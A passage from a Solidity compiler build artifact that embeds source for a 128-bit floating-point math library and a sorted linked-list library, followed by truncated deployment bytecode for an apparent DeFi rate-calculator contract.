0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0xf1ea6500a79e267f34706407d32ece0cfb98b500920d77f43d535ea267b1fbb4\",\"license\":\"BSD-4-Clause\"},\"solidity-linked-list/contracts/StructuredLinkedList.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\ninterface IStructureInterface {\\n function getValue(uint256 _id) external view returns (uint256);\\n}\\n\\n/**\\n * @title StructuredLinkedList\\n * @author Vittorio Minacori (https://github.com/vittominacori)\\n * @dev An utility library for using sorted linked list data structures in your Solidity project.\\n */\\nlibrary StructuredLinkedList {\\n\\n uint256 private constant _NULL = 0;\\n uint256 private constant _HEAD = 0;\\n\\n bool private constant _PREV = false;\\n bool private constant _NEXT = true;\\n\\n struct List {\\n uint256 size;\\n mapping(uint256 => mapping(bool => uint256)) list;\\n }\\n\\n /**\\n * @dev Checks if the list exists\\n * @param self stored linked list from contract\\n * @return bool true if list exists, false otherwise\\n */\\n function listExists(List storage self) internal view returns (bool) {\\n // if the head nodes previous or next pointers both point to itself, then there are no items in the list\\n if (self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD) {\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Checks if the node exists\\n * @param self stored linked list from contract\\n * @param _node a node to search for\\n * @return bool true if node exists, false otherwise\\n */\\n function nodeExists(List storage self, uint256 _node) internal view returns (bool) {\\n if (self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD) {\\n if (self.list[_HEAD][_NEXT] == _node) {\\n return true;\\n } else {\\n return false;\\n }\\n } else {\\n return true;\\n }\\n }\\n\\n /**\\n * @dev Returns the number of elements in the list\\n * @param self stored linked list from contract\\n * @return uint256\\n */\\n function sizeOf(List storage self) internal view returns (uint256) {\\n return self.size;\\n }\\n\\n /**\\n * @dev Returns the links of a node as a tuple\\n * @param self stored linked list from contract\\n * @param _node id of the node to get\\n * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node\\n */\\n function getNode(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0, 0);\\n } else {\\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @param _direction direction to step in\\n * @return bool, uint256 true if node exists or false otherwise, node in _direction\\n */\\n function getAdjacent(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0);\\n } else {\\n return (true, self.list[_node][_direction]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, next node\\n */\\n function getNextNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, previous node\\n */\\n function getPreviousNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Can be used before `insert` to build an ordered list.\\n * @dev Get the node and then `insertBefore` or `insertAfter` basing on your list order.\\n * @dev If you want to order basing on other than `structure.getValue()` override this function\\n * @param self stored linked list from contract\\n * @param _structure the structure instance\\n * @param _value value to seek\\n * @return uint256 next node with a value less than _value\\n */\\n function getSortedSpot(List storage self, address _structure, uint256 _value) internal view returns (uint256) {\\n if (sizeOf(self) == 0) {\\n return 0;\\n }\\n\\n uint256 next;\\n (, next) = getAdjacent(self, _HEAD, _NEXT);\\n while ((next != 0) && ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)) {\\n next = self.list[next][_NEXT];\\n }\\n return next;\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertAfter(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _NEXT);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertBefore(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _PREV);\\n }\\n\\n /**\\n * @dev Removes an entry from the linked list\\n * @param self stored linked list from contract\\n * @param _node node to remove from the list\\n * @return uint256 the removed node\\n */\\n function remove(List storage self, uint256 _node) internal returns (uint256) {\\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\\n return 0;\\n }\\n _createLink(self, self.list[_node][_PREV], self.list[_node][_NEXT], _NEXT);\\n delete self.list[_node][_PREV];\\n delete self.list[_node][_NEXT];\\n\\n self.size -= 1; // NOT: SafeMath library should be used here to decrement.\\n\\n return _node;\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @return bool true if success, false otherwise\\n */\\n function pushFront(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Pushes an entry to the tail of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the tail\\n * @return bool true if success, false otherwise\\n */\\n function pushBack(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Pops the first entry from the head of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popFront(List storage self) internal returns (uint256) {\\n return _pop(self, _NEXT);\\n }\\n\\n /**\\n * @dev Pops the first entry from the tail of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popBack(List storage self) internal returns (uint256) {\\n return _pop(self, _PREV);\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @param _direction push to the head (_NEXT) or tail (_PREV)\\n * @return bool true if success, false otherwise\\n */\\n function _push(List storage self, uint256 _node, bool _direction) private returns (bool) {\\n return _insert(self, _HEAD, _node, _direction);\\n }\\n\\n /**\\n * @dev Pops the first entry from the linked list\\n * @param self stored linked list from contract\\n * @param _direction pop from the head (_NEXT) or the tail (_PREV)\\n * @return uint256 the removed node\\n */\\n function _pop(List storage self, bool _direction) private returns (uint256) {\\n uint256 adj;\\n (, adj) = getAdjacent(self, _HEAD, _direction);\\n return remove(self, adj);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @param _direction direction to insert node in\\n * @return bool true if success, false otherwise\\n */\\n function _insert(List storage self, uint256 _node, uint256 _new, bool _direction) private returns (bool) {\\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\\n uint256 c = self.list[_node][_direction];\\n _createLink(self, _node, _new, _direction);\\n _createLink(self, _new, c, _direction);\\n\\n self.size += 1; // NOT: SafeMath library should be used here to increment.\\n\\n return true;\\n }\\n\\n return false;\\n }\\n\\n /**\\n * @dev Creates a bidirectional link between two nodes on direction `_direction`\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _link node to link to in the _direction\\n * @param _direction direction to insert node in\\n */\\n function _createLink(List storage self, uint256 _node, uint256 _link, bool _direction) private {\\n self.list[_link][!_direction] = _node;\\n self.list[_node][_direction] = _link;\\n }\\n}\\n\",\"keccak256\":\"0x3fc4b299c4950243c0d585247dd0d4c49ed576a663cb6e3a16a2ebe979ffbe0e\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x6080604052670de0b6b3a764000060015534801561001c57600080fd5b506040516200250f3803806200250f83398101604081905261003d91610062565b600080546001600160a01b0319166001600160a01b0392909216919091179055610090565b600060208284031215610073578081fd5b81516001600160a01b0381168114610089578182fd5b9392505050565b61246f80620000a06000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c80633667d85914610051578063481c6a7514610077578063ac506806146100a2578063f13a38a6146100b7575b600080fd5b61006461005f366004612441565b6100bf565b6040519081526020015b60405180910390f35b60005461008a906001600160a01b031681565b6040516001600160a01b03909116815260200161006e565b6100b56100b0366004612429565b6103c9565b005b600154610064565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561010e57600080fd5b505afa158015610122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014691906123ca565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017e57600080fd5b505afa158015610192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b69190612411565b60008054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561020257600080fd5b505afa158015610216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061023a91906123ca565b6001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b15801561027257600080fd5b505afa158015610286573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102aa9190612411565b106102fc5760405162461bcd60e51b815260206004820152601c60248201527f75415220746f20446f6c6c61723a20444542545f544f4f5f484947480000000060448201526064015b60405180910390fd5b600061032d610312670de0b6b3a764000061052c565b61031d60015461052c565b6001600160801b03191690610592565b9050600061033a4361052c565b9050600061034b8261031d8761052c565b905060006103886103796103686001600160801b031985166108ba565b6001600160801b03198716906108ea565b6001600160801b031916610b61565b905060006103bb6103ac8361039c8b61052c565b6001600160801b031916906108ea565b6001600160801b031916610b95565b955050505050505b92915050565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561041657600080fd5b505afa15801561042a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044e9190612411565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b168152600481019190915233602482015260440160206040518083038186803b1580156104a357600080fd5b505afa1580156104b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104db91906123f1565b6105275760405162461bcd60e51b815260206004820152601260248201527f55415243616c633a206e6f742061646d696e000000000000000000000000000060448201526064016102f3565b600155565b60008161053b5750600061058d565b81600061054782610c1a565b90506070811015610560578060700382901b9150610573565b6070811115610573576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156105d85780617fff14156105c7575061ffff60ef1b91506103c39050565b505050600160ff1b811682186103c3565b80617fff1415610629577dffffffffffffffffffffffffffff00000000000000000000000000000000841615610618575061ffff60ef1b91506103c39050565b505050808218600160ff1b166103c3565b6f7fffffffffffffffffffffffffffffff60801b8416610685576f7fffffffffffffffffffffffffffffff60801b851661066d575061ffff60ef1b91506103c39050565b505050808218600160ff1b16617fff60f01b176103c3565b6001600160701b03608085901c16816106a157600191506106a8565b600160701b175b6001600160701b03608087901c16836106e75780156106e25760006106cc82610c1a565b6001955060e20393840160711901939190911b90505b6106f1565b600160701b1760721b5b81818161070e57634e487b7160e01b600052601260045260246000fd5b0490508061073b57600160ff1b8787181661072a576000610730565b600160ff1b5b9450505050506103c3565b6d100000000000000000000000000081101561076757634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156107c8576e0400000000000000000000000000008210156107bd576e0200000000000000000000000000008210156107b55760706107b8565b60715b6107c0565b60725b60ff166107d1565b6107d182610c1a565b9050836140710181860111156107ef57617fff945060009150610882565b83818601613ffc01101561080a576000945060009150610882565b83818601613f8c011015610857578385613ffc011115610835578385613ffc010382901b915061084e565b8385613ffc01101561084e57613ffc8585030382901c91505b60009450610882565b607081111561086a576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506103c3565b60006103c36108c883610cca565b7f3ffe62e42fefa39ef35793c7673007e5000000000000000000000000000000005b6000617fff60f084811c8216919084901c8116908214156109925780617fff1415610968576001600160801b0319858116908516141561093557505050600160ff1b811682186103c3565b600160ff1b6001600160801b0319868618161415610958575050508181176103c3565b5061ffff60ef1b91506103c39050565b6f7fffffffffffffffffffffffffffffff60801b84166105c7575061ffff60ef1b91506103c39050565b80617fff14156109d7576f7fffffffffffffffffffffffffffffff60801b85166109c6575061ffff60ef1b91506103c39050565b505050600160ff1b821681186103c3565b6001600160701b03608086901c16826109f357600192506109fa565b600160701b175b6001600160701b03608086901c1682610a165760019250610a1d565b600160701b175b9081029081610a3a57600160ff1b8787181661072a576000610730565b928201926000600160e11b831015610a6e57600160e01b831015610a6657610a6183610c1a565b610a69565b60e05b610a71565b60e15b90506140708186011015610a8c576000945060009250610b29565b6140e08186011015610acf57614070851015610ab157846140700383901c9250610ac6565b614070851115610ac657614070850383901b92505b60009450610b29565b61c0dd8186011115610ae957617fff945060009250610b29565b6070811115610b00576070810383901c9250610b13565b6070811015610b13578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506103c3565b60006103c3610b90837f3fff71547652b82fe1777d0ffda0d23a000000000000000000000000000000006108ea565b610ea0565b6000617fff60f083901c16613fff811015610bb457600091505061058d565b6001607f1b608084901c10610bc857600080fd5b6140fe811115610bd757600080fd5b600160701b6001600160701b03608085901c161761406f821015610c015761406f8290031c610c13565b61406f821115610c135761406e1982011b5b9392505050565b6000808211610c2857600080fd5b60007001000000000000000000000000000000008310610c4a57608092831c92015b680100000000000000008310610c6257604092831c92015b6401000000008310610c7657602092831c92015b620100008310610c8857601092831c92015b6101008310610c9957600892831c92015b60108310610ca957600492831c92015b60048310610cb957600292831c92015b600283106103c35760010192915050565b60006001607f1b608083901c1115610ce8575061ffff60ef1b61058d565b613fff60f01b6001600160801b031983161415610d075750600061058d565b617fff60f083901c811690811415610d22578291505061058d565b6001600160701b03608084901c1681610d3e5760019150610d45565b600160701b175b80610d7557507fffff000000000000000000000000000000000000000000000000000000000000915061058d9050565b600061406f81613fff8510610d9b5750600f9290921b9160009150613ffe198401610dda565b60019250600160701b8410610dbd5784613ffe039050600f84901b9350610dda565b6000610dc885610c1a565b607f8190039590951b9461406d039150505b836001607f1b1415610e0e578215610df0576001015b6000610dfb82610c1a565b60700392839003929190911b9050610e5c565b600083610e1c576000610e1f565b60015b60ff1690505b600160701b821015610e5a5793800260ff81901c607f81019190911c94600019939093019260019290921b9082180190610e25565b505b806001600160701b0316607083901b84610e77576000610e7d565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b9550505050505061058d565b60006001607f1b608083901c90811190617fff60f085901c8116916001600160701b03169082148015610ed257508015155b15610ee8575061ffff60ef1b925061058d915050565b61400d821115610f0f5782610f0257617fff60f01b610f05565b60005b935050505061058d565b613f7f821015610f2a5750613fff60f01b925061058d915050565b81610f385760019150610f3f565b600160701b175b613fef821115610f5557613fee1982011b610f67565b613fef821015610f6757613fef8290031c5b828015610f85575071406e0000000000000000000000000000000081115b15610f9757506000925061058d915050565b82158015610fb65750713fffffffffffffffffffffffffffffffffff81115b15610fcc5750617fff60f01b925061058d915050565b6fffffffffffffffffffffffffffffffff81169060801c838015610fef57508115155b15610ffb579019906001015b6001607f1b8281161561101f5770016a09e667f3bcc908b2fb1366ea957d3e0260801c5b6f4000000000000000000000000000000083161561104e577001306fe0a31b7152de8d5a46305c85edec0260801c5b6f2000000000000000000000000000000083161561107d577001172b83c7d517adcdf7c8c50eb14a791f0260801c5b6f100000000000000000000000000000008316156110ac5770010b5586cf9890f6298b92b71842a983630260801c5b6f080000000000000000000000000000008316156110db577001059b0d31585743ae7c548eb68ca417fd0260801c5b6f0400000000000000000000000000000083161561110a57700102c9a3e778060ee6f7caca4f7a29bde80260801c5b6f020000000000000000000000000000008316156111395770010163da9fb33356d84a66ae336dcdfa3f0260801c5b6f0100000000000000000000000000000083161561116857700100b1afa5abcbed6129ab13ec11dc95430260801c5b6e8000000000000000000000000000008316156111965770010058c86da1c09ea1ff19d294cf2f679b0260801c5b6e4000000000000000000000000000008316156111c4577001002c605e2e8cec506d21bfc89a23a00f0260801c5b6e2000000000000000000000000000008316156111f257700100162f3904051fa128bca9c55c31e5df0260801c5b6e100000000000000000000000000000831615611220577001000b175effdc76ba38e31671ca9397250260801c5b6e08000000000000000000000000000083161561124e57700100058ba01fb9f96d6cacd4b180917c3d0260801c5b6e04000000000000000000000000000083161561127c5770010002c5cc37da9491d0985c348c68e7b30260801c5b6e0200000000000000000000000000008316156112aa577001000162e525ee054754457d59952920260260801c5b600160701b8316156112cd5770010000b17255775c040618bf4a4ade83fc0260801c5b6d80000000000000000000000000008316156112fa577001000058b91b5bc9ae2eed81e9b7d4cfab0260801c5b6d400000000000000000000000000083161561132757700100002c5c89d5ec6ca4d7c8acc017b7c90260801c5b6d20000000000000000000000000008316156113545770010000162e43f4f831060e02d839a9d16d0260801c5b6d100000000000000000000000000083161561138157700100000b1721bcfc99d9f890ea069117630260801c5b6d08000000000000000000000000008316156113ae5770010000058b90cf1e6d97f9ca14dbcc16280260801c5b6d04000000000000000000000000008316156113db577001000002c5c863b73f016468f6bac5ca2b0260801c5b6d020000000000000000000000000083161561140857700100000162e430e5a18f6119e3c02282a50260801c5b6d0100000000000000000000000000831615611435577001000000b1721835514b86e6d96efd1bfe0260801c5b6c8000000000000000000000000083161561146157700100000058b90c0b48c6be5df846c5b2ef0260801c5b6c4000000000000000000000000083161561148d5770010000002c5c8601cc6b9e94213c72737a0260801c5b6c200000000000000000000000008316156114b9577001000000162e42fff037df38aa2b219f060260801c5b6c100000000000000000000000008316156114e55770010000000b17217fba9c739aa5819f44f90260801c5b6c08000000000000000000000000831615611511577001000000058b90bfcdee5acd3c1cedc8230260801c5b6c0400000000000000000000000083161561153d57700100000002c5c85fe31f35a6a30da1be500260801c5b6c020000000000000000000000008316156115695770010000000162e42ff0999ce3541b9fffcf0260801c5b6c0100000000000000000000000083161561159557700100000000b17217f80f4ef5aadda455540260801c5b6b8000000000000000000000008316156115c05770010000000058b90bfbf8479bd5a81b51ad0260801c5b6b4000000000000000000000008316156115eb577001000000002c5c85fdf84bd62ae30a74cc0260801c5b6b20000000000000000000000083161561161657700100000000162e42fefb2fed257559bdaa0260801c5b6b100000000000000000000000831615611641577001000000000b17217f7d5a7716bba4a9ae0260801c5b6b08000000000000000000000083161561166c57700100000000058b90bfbe9ddbac5e109cce0260801c5b6b0400000000000000000000008316156116975770010000000002c5c85fdf4b15de6f17eb0d0260801c5b6b0200000000000000000000008316156116c2577001000000000162e42fefa494f1478fde050260801c5b6b0100000000000000000000008316156116ed5770010000000000b17217f7d20cf927c8e94c0260801c5b6a8000000000000000000000831615611717577001000000000058b90bfbe8f71cb4e4b33d0260801c5b6a400000000000000000000083161561174157700100000000002c5c85fdf477b662b269450260801c5b6a200000000000000000000083161561176b5770010000000000162e42fefa3ae53369388c0260801c5b6a100000000000000000000083161561179557700100000000000b17217f7d1d351a389d400260801c5b6a08000000000000000000008316156117bf5770010000000000058b90bfbe8e8b2d3d4ede0260801c5b6a04000000000000000000008316156117e9577001000000000002c5c85fdf4741bea6e77e0260801c5b6a020000000000000000000083161561181357700100000000000162e42fefa39fe95583c20260801c5b6a010000000000000000000083161561183d577001000000000000b17217f7d1cfb72b45e10260801c5b698000000000000000000083161561186657700100000000000058b90bfbe8e7cc35c3f00260801c5b694000000000000000000083161561188f5770010000000000002c5c85fdf473e242ea380260801c5b69200000000000000000008316156118b8577001000000000000162e42fefa39f02b772c0260801c5b69100000000000000000008316156118e15770010000000000000b17217f7d1cf7d83c1a0260801c5b690800000000000000000083161561190a577001000000000000058b90bfbe8e7bdcbe2e0260801c5b690400000000000000000083161561193357700100000000000002c5c85fdf473dea871f0260801c5b690200000000000000000083161561195c5770010000000000000162e42fefa39ef44d910260801c5b690100000000000000000083161561198557700100000000000000b17217f7d1cf79e9490260801c5b688000000000000000008316156119ad5770010000000000000058b90bfbe8e7bce5440260801c5b684000000000000000008316156119d5577001000000000000002c5c85fdf473de6eca0260801c5b682000000000000000008316156119fd57700100000000000000162e42fefa39ef366f0260801c5b68100000000000000000831615611a25577001000000000000000b17217f7d1cf79afa0260801c5b68080000000000000000831615611a4d57700100000000000000058b90bfbe8e7bcd6d0260801c5b68040000000000000000831615611a755770010000000000000002c5c85fdf473de6b20260801c5b68020000000000000000831615611a9d577001000000000000000162e42fefa39ef3580260801c5b68010000000000000000831615611ac55770010000000000000000b17217f7d1cf79ab0260801c5b678000000000000000831615611aec577001000000000000000058b90bfbe8e7bcd50260801c5b674000000000000000831615611b1357700100000000000000002c5c85fdf473de6a0260801c5b672000000000000000831615611b3a5770010000000000000000162e42fefa39ef340260801c5b671000000000000000831615611b6157700100000000000000000b17217f7d1cf7990260801c5b670800000000000000831615611b885770010000000000000000058b90bfbe8e7bcc0260801c5b670400000000000000831615611baf577001000000000000000002c5c85fdf473de50260801c5b670200000000000000831615611bd657700100000000000000000162e42fefa39ef20260801c5b670100000000000000831615611bfd577001000000000000000000b17217f7d1cf780260801c5b6680000000000000831615611c2357700100000000000000000058b90bfbe8e7bb026080